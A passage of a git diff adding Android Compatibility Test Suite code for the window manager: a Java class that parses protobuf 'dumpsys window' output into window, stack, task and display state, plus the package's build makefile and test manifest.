+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ProtoExtractors.extract;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.fail;
+
+import android.content.res.Configuration;
+import android.graphics.Rect;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.view.nano.DisplayInfoProto;
+
+import com.android.server.wm.proto.nano.DisplayFramesProto;
+import com.android.server.wm.proto.nano.AppTransitionProto;
+import com.android.server.wm.proto.nano.AppWindowTokenProto;
+import com.android.server.wm.proto.nano.ConfigurationContainerProto;
+import com.android.server.wm.proto.nano.DisplayProto;
+import com.android.server.wm.proto.nano.IdentifierProto;
+import com.android.server.wm.proto.nano.PinnedStackControllerProto;
+import com.android.server.wm.proto.nano.StackProto;
+import com.android.server.wm.proto.nano.TaskProto;
+import com.android.server.wm.proto.nano.WindowContainerProto;
+import com.android.server.wm.proto.nano.WindowManagerServiceProto;
+import com.android.server.wm.proto.nano.WindowStateAnimatorProto;
+import com.android.server.wm.proto.nano.WindowStateProto;
+import com.android.server.wm.proto.nano.WindowSurfaceControllerProto;
+import com.android.server.wm.proto.nano.WindowTokenProto;
+
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+
+public class WindowManagerState {
+ public static final String TRANSIT_ACTIVITY_OPEN = "TRANSIT_ACTIVITY_OPEN";
+ public static final String TRANSIT_ACTIVITY_CLOSE = "TRANSIT_ACTIVITY_CLOSE";
+ public static final String TRANSIT_TASK_OPEN = "TRANSIT_TASK_OPEN";
+ public static final String TRANSIT_TASK_CLOSE = "TRANSIT_TASK_CLOSE";
+
+ public static final String TRANSIT_WALLPAPER_OPEN = "TRANSIT_WALLPAPER_OPEN";
+ public static final String TRANSIT_WALLPAPER_CLOSE = "TRANSIT_WALLPAPER_CLOSE";
+ public static final String TRANSIT_WALLPAPER_INTRA_OPEN = "TRANSIT_WALLPAPER_INTRA_OPEN";
+ public static final String TRANSIT_WALLPAPER_INTRA_CLOSE = "TRANSIT_WALLPAPER_INTRA_CLOSE";
+
+ public static final String TRANSIT_KEYGUARD_GOING_AWAY = "TRANSIT_KEYGUARD_GOING_AWAY";
+ public static final String TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER =
+ "TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER";
+ public static final String TRANSIT_KEYGUARD_OCCLUDE = "TRANSIT_KEYGUARD_OCCLUDE";
+ public static final String TRANSIT_KEYGUARD_UNOCCLUDE = "TRANSIT_KEYGUARD_UNOCCLUDE";
+
+ public static final String APP_STATE_IDLE = "APP_STATE_IDLE";
+
+ private static final String DUMPSYS_WINDOW = "dumpsys window -a --proto";
+
+ private static final String STARTING_WINDOW_PREFIX = "Starting ";
+ private static final String DEBUGGER_WINDOW_PREFIX = "Waiting For Debugger: ";
+
+ // Windows in z-order with the top most at the front of the list.
+ private List<WindowState> mWindowStates = new ArrayList();
+ // Stacks in z-order with the top most at the front of the list, starting with primary display.
+ private final List<WindowStack> mStacks = new ArrayList();
+ // Stacks on all attached displays, in z-order with the top most at the front of the list.
+ private final Map<Integer, List<WindowStack>> mDisplayStacks
+ = new HashMap<>();
+ private List<Display> mDisplays = new ArrayList();
+ private String mFocusedWindow = null;
+ private String mFocusedApp = null;
+ private String mLastTransition = null;
+ private String mAppTransitionState = null;
+ private String mInputMethodWindowAppToken = null;
+ private Rect mDefaultPinnedStackBounds = new Rect();
+ private Rect mPinnedStackMovementBounds = new Rect();
+ private final LinkedList<String> mSysDump = new LinkedList();
+ private int mRotation;
+ private int mLastOrientation;
+ private boolean mDisplayFrozen;
+ private boolean mIsDockedStackMinimized;
+
+ public void computeState() {
+ // It is possible the system is in the middle of transition to the right state when we get
+ // the dump. We try a few times to get the information we need before giving up.
+ int retriesLeft = 3;
+ boolean retry = false;
+ byte[] dump = null;
+
+ log("==============================");
+ log(" WindowManagerState ");
+ log("==============================");
+ do {
+ if (retry) {
+ log("***Incomplete WM state. Retrying...");
+ // Wait half a second between retries for window manager to finish transitioning...
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ }
+
+ dump = executeShellCommand(DUMPSYS_WINDOW);
+ try {
+ parseSysDumpProto(dump);
+ } catch (InvalidProtocolBufferNanoException ex) {
+ throw new RuntimeException("Failed to parse dumpsys:\n"
+ + new String(dump, StandardCharsets.UTF_8), ex);
+ }
+
+ retry = mWindowStates.isEmpty() || mFocusedApp == null;
+ } while (retry && retriesLeft-- > 0);
+
+ if (mWindowStates.isEmpty()) {
+ logE("No Windows found...");
+ }
+ if (mFocusedWindow == null) {
+ logE("No Focused Window...");
+ }
+ if (mFocusedApp == null) {
+ logE("No Focused App...");
+ }
+ }
+
+ private byte[] executeShellCommand(String cmd) {
+ try {
+ ParcelFileDescriptor pfd =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand(cmd);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+ while ((bytesRead = fis.read(buf)) != -1) {
+ stdout.write(buf, 0, bytesRead);
+ }
+ fis.close();
+ return stdout.toByteArray();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+
+ private void parseSysDumpProto(byte[] sysDump) throws InvalidProtocolBufferNanoException {
+ reset();
+ WindowManagerServiceProto state = WindowManagerServiceProto.parseFrom(sysDump);
+ List<WindowState> allWindows = new ArrayList<>();
+ Map<String, WindowState> windowMap = new HashMap<>();
+ if (state.focusedWindow != null) {
+ mFocusedWindow = state.focusedWindow.title;
+ }
+ mFocusedApp = state.focusedApp;
+ for (int i = 0; i < state.rootWindowContainer.displays.length; i++) {
+ DisplayProto displayProto = state.rootWindowContainer.displays[i];
+ final Display display = new Display(displayProto);
+ mDisplays.add(display);
+ allWindows.addAll(display.getWindows());
+ List<WindowStack> stacks = new ArrayList<>();
+ for (int j = 0; j < displayProto.stacks.length; j++) {
+ StackProto stackProto = displayProto.stacks[j];
+ final WindowStack stack = new WindowStack(stackProto);
+ mStacks.add(stack);
+ stacks.add(stack);
+ allWindows.addAll(stack.getWindows());
+ }
+ mDisplayStacks.put(display.mDisplayId, stacks);
+
+ // use properties from the default display only
+ if (display.getDisplayId() == DEFAULT_DISPLAY) {
+ if (displayProto.dockedStackDividerController != null) {
+ mIsDockedStackMinimized =
+ displayProto.dockedStackDividerController.minimizedDock;
+ }
+ PinnedStackControllerProto pinnedStackProto = displayProto.pinnedStackController;
+ if (pinnedStackProto != null) {
+ mDefaultPinnedStackBounds = extract(pinnedStackProto.defaultBounds);
+ mPinnedStackMovementBounds = extract(pinnedStackProto.movementBounds);
+ }
+ }
+ }
+ for (WindowState w : allWindows) {
+ windowMap.put(w.getToken(), w);
+ }
+ for (int i = 0; i < state.rootWindowContainer.windows.length; i++) {
+ IdentifierProto identifierProto = state.rootWindowContainer.windows[i];
+ String hash_code = Integer.toHexString(identifierProto.hashCode);
+ mWindowStates.add(windowMap.get(hash_code));
+ }
+ if (state.inputMethodWindow != null) {
+ mInputMethodWindowAppToken = Integer.toHexString(state.inputMethodWindow.hashCode);
+ }
+ mDisplayFrozen = state.displayFrozen;
+ mRotation = state.rotation;
+ mLastOrientation = state.lastOrientation;
+ AppTransitionProto appTransitionProto = state.appTransition;
+ int appState = 0;
+ int lastTransition = 0;
+ if (appTransitionProto != null) {
+ appState = appTransitionProto.appTransitionState;
+ lastTransition = appTransitionProto.lastUsedAppTransition;
+ }
+ mAppTransitionState = appStateToString(appState);
+ mLastTransition = appTransitionToString(lastTransition);
+ }
+
+ static String appStateToString(int appState) {
+ switch (appState) {
+ case AppTransitionProto.APP_STATE_IDLE:
+ return "APP_STATE_IDLE";
+ case AppTransitionProto.APP_STATE_READY:
+ return "APP_STATE_READY";
+ case AppTransitionProto.APP_STATE_RUNNING:
+ return "APP_STATE_RUNNING";
+ case AppTransitionProto.APP_STATE_TIMEOUT:
+ return "APP_STATE_TIMEOUT";
+ default:
+ fail("Invalid AppTransitionState");
+ return null;
+ }
+ }
+
+ static String appTransitionToString(int transition) {
+ switch (transition) {
+ case AppTransitionProto.TRANSIT_UNSET: {
+ return "TRANSIT_UNSET";
+ }
+ case AppTransitionProto.TRANSIT_NONE: {
+ return "TRANSIT_NONE";
+ }
+ case AppTransitionProto.TRANSIT_ACTIVITY_OPEN: {
+ return TRANSIT_ACTIVITY_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_ACTIVITY_CLOSE: {
+ return TRANSIT_ACTIVITY_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_TASK_OPEN: {
+ return TRANSIT_TASK_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_TASK_CLOSE: {
+ return TRANSIT_TASK_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_TASK_TO_FRONT: {
+ return "TRANSIT_TASK_TO_FRONT";
+ }
+ case AppTransitionProto.TRANSIT_TASK_TO_BACK: {
+ return "TRANSIT_TASK_TO_BACK";
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_CLOSE: {
+ return TRANSIT_WALLPAPER_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_OPEN: {
+ return TRANSIT_WALLPAPER_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_INTRA_OPEN: {
+ return TRANSIT_WALLPAPER_INTRA_OPEN;
+ }
+ case AppTransitionProto.TRANSIT_WALLPAPER_INTRA_CLOSE: {
+ return TRANSIT_WALLPAPER_INTRA_CLOSE;
+ }
+ case AppTransitionProto.TRANSIT_TASK_OPEN_BEHIND: {
+ return "TRANSIT_TASK_OPEN_BEHIND";
+ }
+ case AppTransitionProto.TRANSIT_ACTIVITY_RELAUNCH: {
+ return "TRANSIT_ACTIVITY_RELAUNCH";
+ }
+ case AppTransitionProto.TRANSIT_DOCK_TASK_FROM_RECENTS: {
+ return "TRANSIT_DOCK_TASK_FROM_RECENTS";
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_GOING_AWAY: {
+ return TRANSIT_KEYGUARD_GOING_AWAY;
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER: {
+ return TRANSIT_KEYGUARD_GOING_AWAY_ON_WALLPAPER;
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_OCCLUDE: {
+ return TRANSIT_KEYGUARD_OCCLUDE;
+ }
+ case AppTransitionProto.TRANSIT_KEYGUARD_UNOCCLUDE: {
+ return TRANSIT_KEYGUARD_UNOCCLUDE;
+ }
+ default: {
+ fail("Invalid lastUsedAppTransition");
+ return null;
+ }
+ }
+ }
+
+ void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
+ tokenList.clear();
+
+ for (WindowState ws : mWindowStates) {
+ if (windowName.equals(ws.getName())) {
+ tokenList.add(ws.getToken());
+ }
+ }
+ }
+
+ public void getMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
+ windowList.clear();
+ for (WindowState ws : mWindowStates) {
+ if (ws.isShown() && windowName.equals(ws.getName())) {
+ windowList.add(ws);
+ }
+ }
+ }
+
+ public void getPrefixMatchingVisibleWindowState(final String windowName,
+ List<WindowState> windowList) {
+ windowList.clear();
+ for (WindowState ws : mWindowStates) {
+ if (ws.isShown() && ws.getName().startsWith(windowName)) {
+ windowList.add(ws);
+ }
+ }
+ }
+
+ public WindowState getWindowByPackageName(String packageName, int windowType) {
+ for (WindowState ws : mWindowStates) {
+ final String name = ws.getName();
+ if (name == null || !name.contains(packageName)) {
+ continue;
+ }
+ if (windowType != ws.getType()) {
+ continue;
+ }
+ return ws;
+ }
+
+ return null;
+ }
+
+ public void getWindowsByPackageName(String packageName, List<Integer> restrictToTypeList,
+ List<WindowState> outWindowList) {
+ outWindowList.clear();
+ for (WindowState ws : mWindowStates) {
+ final String name = ws.getName();
+ if (name == null || !name.contains(packageName)) {
+ continue;
+ }
+ if (restrictToTypeList != null && !restrictToTypeList.contains(ws.getType())) {
+ continue;
+ }
+ outWindowList.add(ws);
+ }
+ }
+
+ WindowState getWindowStateForAppToken(String appToken) {
+ for (WindowState ws : mWindowStates) {
+ if (ws.getToken().equals(appToken)) {
+ return ws;
+ }
+ }
+ return null;
+ }
+
+ Display getDisplay(int displayId) {
+ for (Display display : mDisplays) {
+ if (displayId == display.getDisplayId()) {
+ return display;
+ }
+ }
+ return null;
+ }
+
+ String getFrontWindow() {
+ if (mWindowStates == null || mWindowStates.isEmpty()) {
+ return null;
+ }
+ return mWindowStates.get(0).getName();
+ }
+
+ public String getFocusedWindow() {
+ return mFocusedWindow;
+ }
+
+ String getFocusedApp() {
+ return mFocusedApp;
+ }
+
+ String getLastTransition() {
+ return mLastTransition;
+ }
+
+ String getAppTransitionState() {
+ return mAppTransitionState;
+ }
+
+ int getFrontStackId(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).mStackId;
+ }
+
+ int getFrontStackActivityType(int displayId) {
+ return mDisplayStacks.get(displayId).get(0).getActivityType();
+ }
+
+ public int getRotation() {
+ return mRotation;
+ }
+
+ int getLastOrientation() {
+ return mLastOrientation;
+ }
+
+ boolean containsStack(int stackId) {
+ for (WindowStack stack : mStacks) {
+ if (stackId == stack.mStackId) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ boolean containsStack(int windowingMode, int activityType) {
+ for (WindowStack stack : mStacks) {
+ if (activityType != ACTIVITY_TYPE_UNDEFINED
+ && activityType != stack.getActivityType()) {
+ continue;
+ }
+ if (windowingMode != WINDOWING_MODE_UNDEFINED
+ && windowingMode != stack.getWindowingMode()) {
+ continue;
+ }
+ return true;
+ }
+ return false;
+ }
+
+ /**
+ * Check if there exists a window record with matching windowName.
+ */
+ boolean containsWindow(String windowName) {
+ for (WindowState window : mWindowStates) {
+ if (window.getName().equals(windowName)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Check if at least one window which matches provided window name is visible.
+ */
+ boolean isWindowVisible(String windowName) {
+ for (WindowState window : mWindowStates) {
+ if (window.getName().equals(windowName)) {
+ if (window.isShown()) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean allWindowsVisible(String windowName) {
+ boolean allVisible = false;
+ for (WindowState window : mWindowStates) {
+ if (window.getName().equals(windowName)) {
+ if (!window.isShown()) {
+ log("[VISIBLE] not visible" + windowName);
+ return false;
+ }
+ log("[VISIBLE] visible" + windowName);
+ allVisible = true;
+ }
+ }
+ return allVisible;
+ }
+
+ WindowStack getStack(int stackId) {
+ for (WindowStack stack : mStacks) {
+ if (stackId == stack.mStackId) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ WindowStack getStandardStackByWindowingMode(int windowingMode) {
+ for (WindowStack stack : mStacks) {
+ if (stack.getActivityType() != ACTIVITY_TYPE_STANDARD) {
+ continue;
+ }
+ if (stack.getWindowingMode() == windowingMode) {
+ return stack;
+ }
+ }
+ return null;
+ }
+
+ int getStackIndexByActivityType(int activityType) {
+ for (int i = 0; i < mStacks.size(); i++) {
+ if (activityType == mStacks.get(i).getActivityType()) {
+ return i;
+ }
+ }
+ return -1;
+ }
+
+ WindowState getInputMethodWindowState() {
+ return getWindowStateForAppToken(mInputMethodWindowAppToken);
+ }
+
+ Rect getStableBounds() {
+ return getDisplay(DEFAULT_DISPLAY).mStableBounds;
+ }
+
+ Rect getDefaultPinnedStackBounds() {
+ return mDefaultPinnedStackBounds;
+ }
+
+ Rect getPinnedStackMomentBounds() {
+ return mPinnedStackMovementBounds;
+ }
+
+ WindowState findFirstWindowWithType(int type) {
+ for (WindowState window : mWindowStates) {
+ if (window.getType() == type) {
+ return window;
+ }
+ }
+ return null;
+ }
+
+ public boolean isDisplayFrozen() {
+ return mDisplayFrozen;
+ }
+
+ public boolean isDockedStackMinimized() {
+ return mIsDockedStackMinimized;
+ }
+
+ public int getZOrder(WindowState w) {
+ return mWindowStates.indexOf(w);
+ }
+
+ private void reset() {
+ mSysDump.clear();
+ mStacks.clear();
+ mDisplays.clear();
+ mWindowStates.clear();
+ mDisplayStacks.clear();
+ mFocusedWindow = null;
+ mFocusedApp = null;
+ mLastTransition = null;
+ mInputMethodWindowAppToken = null;
+ mIsDockedStackMinimized = false;
+ mDefaultPinnedStackBounds.setEmpty();
+ mPinnedStackMovementBounds.setEmpty();
+ mRotation = 0;
+ mLastOrientation = 0;
+ mDisplayFrozen = false;
+ }
+
+ class WindowStack extends WindowContainer {
+
+ int mStackId;
+ ArrayList<WindowTask> mTasks = new ArrayList();
+ boolean mWindowAnimationBackgroundSurfaceShowing;
+
+ WindowStack(StackProto proto) {
+ super(proto.windowContainer);
+ mStackId = proto.id;
+ mFullscreen = proto.fillsParent;
+ mBounds = extract(proto.bounds);
+ for (int i = 0; i < proto.tasks.length; i++) {
+ TaskProto taskProto = proto.tasks[i];
+ WindowTask task = new WindowTask(taskProto);
+ mTasks.add(task);
+ mSubWindows.addAll(task.getWindows());
+ }
+ mWindowAnimationBackgroundSurfaceShowing = proto.animationBackgroundSurfaceIsDimming;
+ }
+
+ WindowTask getTask(int taskId) {
+ for (WindowTask task : mTasks) {
+ if (taskId == task.mTaskId) {
+ return task;
+ }
+ }
+ return null;
+ }
+
+ boolean isWindowAnimationBackgroundSurfaceShowing() {
+ return mWindowAnimationBackgroundSurfaceShowing;
+ }
+ }
+
+ class WindowTask extends WindowContainer {
+
+ int mTaskId;
+ Rect mTempInsetBounds;
+ List<String> mAppTokens = new ArrayList();
+
+ WindowTask(TaskProto proto) {
+ super(proto.windowContainer);
+ mTaskId = proto.id;
+ mFullscreen = proto.fillsParent;
+ mBounds = extract(proto.bounds);
+ for (int i = 0; i < proto.appWindowTokens.length; i++) {
+ AppWindowTokenProto appWindowTokenProto = proto.appWindowTokens[i];
+ mAppTokens.add(appWindowTokenProto.name);
+ WindowTokenProto windowTokenProto = appWindowTokenProto.windowToken;
+ for (int j = 0; j < windowTokenProto.windows.length; j++) {
+ WindowStateProto windowProto = windowTokenProto.windows[j];
+ WindowState window = new WindowState(windowProto);
+ mSubWindows.add(window);
+ mSubWindows.addAll(window.getWindows());
+ }
+ }
+ mTempInsetBounds = extract(proto.tempInsetBounds);
+ }
+ }
+
+ static class ConfigurationContainer {
+ final Configuration mOverrideConfiguration = new Configuration();
+ final Configuration mFullConfiguration = new Configuration();
+ final Configuration mMergedOverrideConfiguration = new Configuration();
+
+ ConfigurationContainer(ConfigurationContainerProto proto) {
+ if (proto == null) {
+ return;
+ }
+ mOverrideConfiguration.setTo(extract(proto.overrideConfiguration));
+ mFullConfiguration.setTo(extract(proto.fullConfiguration));
+ mMergedOverrideConfiguration.setTo(extract(proto.mergedOverrideConfiguration));
+ }
+
+ int getWindowingMode() {
+ if (mFullConfiguration == null) {
+ return WINDOWING_MODE_UNDEFINED;
+ }
+ return mFullConfiguration.windowConfiguration.getWindowingMode();
+ }
+
+ int getActivityType() {
+ if (mFullConfiguration == null) {
+ return ACTIVITY_TYPE_UNDEFINED;
+ }
+ return mFullConfiguration.windowConfiguration.getActivityType();
+ }
+ }
+
+ abstract class WindowContainer extends ConfigurationContainer {
+
+ protected boolean mFullscreen;
+ protected Rect mBounds;
+ protected int mOrientation;
+ protected List<WindowState> mSubWindows = new ArrayList<>();
+
+ WindowContainer(WindowContainerProto proto) {
+ super(proto.configurationContainer);
+ mOrientation = proto.orientation;
+ }
+
+ Rect getBounds() {
+ return mBounds;
+ }
+
+ boolean isFullscreen() {
+ return mFullscreen;
+ }
+
+ List<WindowState> getWindows() {
+ return mSubWindows;
+ }
+ }
+
+ class Display extends WindowContainer {
+
+ private final int mDisplayId;
+ private Rect mDisplayRect = new Rect();
+ private Rect mAppRect = new Rect();
+ private int mDpi;
+ private Rect mStableBounds;
+
+ public Display(DisplayProto proto) {
+ super(proto.windowContainer);
+ mDisplayId = proto.id;
+ for (int i = 0; i < proto.aboveAppWindows.length; i++) {
+ addWindowsFromTokenProto(proto.aboveAppWindows[i]);
+ }
+ for (int i = 0; i < proto.belowAppWindows.length; i++) {
+ addWindowsFromTokenProto(proto.belowAppWindows[i]);
+ }
+ for (int i = 0; i < proto.imeWindows.length; i++) {
+ addWindowsFromTokenProto(proto.imeWindows[i]);
+ }
+ mDpi = proto.dpi;
+ DisplayInfoProto infoProto = proto.displayInfo;
+ if (infoProto != null) {
+ mDisplayRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
+ mAppRect.set(0, 0, infoProto.logicalWidth, infoProto.logicalHeight);
+ }
+ final DisplayFramesProto displayFramesProto = proto.displayFrames;
+ if (displayFramesProto != null) {
+ mStableBounds = extract(displayFramesProto.stableBounds);
+ }
+ }
+
+ private void addWindowsFromTokenProto(WindowTokenProto proto) {
+ for (int j = 0; j < proto.windows.length; j++) {
+ WindowStateProto windowProto = proto.windows[j];
+ WindowState childWindow = new WindowState(windowProto);
+ mSubWindows.add(childWindow);
+ mSubWindows.addAll(childWindow.getWindows());
+ }
+ }
+
+ int getDisplayId() {
+ return mDisplayId;
+ }
+
+ int getDpi() {
+ return mDpi;
+ }
+
+ Rect getDisplayRect() {
+ return mDisplayRect;
+ }
+
+ Rect getAppRect() {
+ return mAppRect;
+ }
+
+ @Override
+ public String toString() {
+ return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
+ + " mAppRect=" + mAppRect;
+ }
+ }
+
+ public class WindowState extends WindowContainer {
+
+ private static final int WINDOW_TYPE_NORMAL = 0;
+ private static final int WINDOW_TYPE_STARTING = 1;
+ private static final int WINDOW_TYPE_EXITING = 2;
+ private static final int WINDOW_TYPE_DEBUGGER = 3;
+
+ private String mName;
+ private final String mAppToken;
+ private final int mWindowType;
+ private int mType = 0;
+ private int mDisplayId;
+ private int mStackId;
+ private int mLayer;
+ private boolean mShown;
+ private Rect mContainingFrame = new Rect();
+ private Rect mParentFrame = new Rect();
+ private Rect mContentFrame = new Rect();
+ private Rect mFrame = new Rect();
+ private Rect mSurfaceInsets = new Rect();
+ private Rect mContentInsets = new Rect();
+ private Rect mGivenContentInsets = new Rect();
+ private Rect mCrop = new Rect();
+
+ WindowState(WindowStateProto proto) {
+ super(proto.windowContainer);
+ IdentifierProto identifierProto = proto.identifier;
+ mName = identifierProto.title;
+ mAppToken = Integer.toHexString(identifierProto.hashCode);
+ mDisplayId = proto.displayId;
+ mStackId = proto.stackId;
+ if (proto.attributes != null) {
+ mType = proto.attributes.type;
+ }
+ WindowStateAnimatorProto animatorProto = proto.animator;
+ if (animatorProto != null) {
+ if (animatorProto.surface != null) {
+ WindowSurfaceControllerProto surfaceProto = animatorProto.surface;
+ mShown = surfaceProto.shown;
+ mLayer = surfaceProto.layer;
+ }
+ mCrop = extract(animatorProto.lastClipRect);
+ }
+ mGivenContentInsets = extract(proto.givenContentInsets);
+ mFrame = extract(proto.frame);
+ mContainingFrame = extract(proto.containingFrame);
+ mParentFrame = extract(proto.parentFrame);
+ mContentFrame = extract(proto.contentFrame);
+ mContentInsets = extract(proto.contentInsets);
+ mSurfaceInsets = extract(proto.surfaceInsets);
+ if (mName.startsWith(STARTING_WINDOW_PREFIX)) {
+ mWindowType = WINDOW_TYPE_STARTING;
+ // Existing code depends on the prefix being removed
+ mName = mName.substring(STARTING_WINDOW_PREFIX.length());
+ } else if (proto.animatingExit) {
+ mWindowType = WINDOW_TYPE_EXITING;
+ } else if (mName.startsWith(DEBUGGER_WINDOW_PREFIX)) {
+ mWindowType = WINDOW_TYPE_STARTING;
+ mName = mName.substring(DEBUGGER_WINDOW_PREFIX.length());
+ } else {
+ mWindowType = 0;
+ }
+ for (int i = 0; i < proto.childWindows.length; i++) {
+ WindowStateProto childProto = proto.childWindows[i];
+ WindowState childWindow = new WindowState(childProto);
+ mSubWindows.add(childWindow);
+ mSubWindows.addAll(childWindow.getWindows());
+ }
+ }
+
+ public String getName() {
+ return mName;
+ }
+
+ String getToken() {
+ return mAppToken;
+ }
+
+ boolean isStartingWindow() {
+ return mWindowType == WINDOW_TYPE_STARTING;
+ }
+
+ boolean isExitingWindow() {
+ return mWindowType == WINDOW_TYPE_EXITING;
+ }
+
+ boolean isDebuggerWindow() {
+ return mWindowType == WINDOW_TYPE_DEBUGGER;
+ }
+
+ int getDisplayId() {
+ return mDisplayId;
+ }
+
+ int getStackId() {
+ return mStackId;
+ }
+
+ public int getZOrder() {
+ return mWindowStates.size() - mWindowStates.indexOf(this);
+ }
+
+ Rect getContainingFrame() {
+ return mContainingFrame;
+ }
+
+ public Rect getFrame() {
+ return mFrame;
+ }
+
+ Rect getSurfaceInsets() {
+ return mSurfaceInsets;
+ }
+
+ Rect getContentInsets() {
+ return mContentInsets;
+ }
+
+ Rect getGivenContentInsets() {
+ return mGivenContentInsets;
+ }
+
+ public Rect getContentFrame() {
+ return mContentFrame;
+ }
+
+ Rect getParentFrame() {
+ return mParentFrame;
+ }
+
+ Rect getCrop() {
+ return mCrop;
+ }
+
+ boolean isShown() {
+ return mShown;
+ }
+
+ public int getType() {
+ return mType;
+ }
+
+ private String getWindowTypeSuffix(int windowType) {
+ switch (windowType) {
+ case WINDOW_TYPE_STARTING:
+ return " STARTING";
+ case WINDOW_TYPE_EXITING:
+ return " EXITING";
+ case WINDOW_TYPE_DEBUGGER:
+ return " DEBUGGER";
+ default:
+ break;
+ }
+ return "";
+ }
+
+ @Override
+ public String toString() {
+ return "WindowState: {" + mAppToken + " " + mName
+ + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
+ + " cf=" + mContainingFrame + " pf=" + mParentFrame;
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/Android.mk b/tests/framework/base/windowmanager/Android.mk
new file mode 100644
index 0000000..2111f19
--- /dev/null
+++ b/tests/framework/base/windowmanager/Android.mk
@@ -0,0 +1,42 @@
+#
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+LOCAL_SRC_FILES := \
+ $(call all-java-files-under, src) \
+ $(call all-java-files-under, alertwindowservice/src)
+
+LOCAL_PACKAGE_NAME := CtsWindowManagerDeviceTestCases
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+ platform-test-annotations \
+ cts-amwm-util
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
new file mode 100644
index 0000000..4bcd576
--- /dev/null
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.wm">
+
+ <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+ <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
+ <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+
+ <application android:label="CtsWindowManagerDeviceTestCases">
+ <uses-library android:name="android.test.runner"/>
+
+ <service
+ android:name="android.server.wm.TestLogService"
+ android:enabled="true"
+ android:exported="true">
+ </service>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.server.cts.wm"
+ android:label="CTS tests of WindowManager">
+ </instrumentation>
+
+</manifest>
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
new file mode 100644
index 0000000..852c4df
--- /dev/null
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
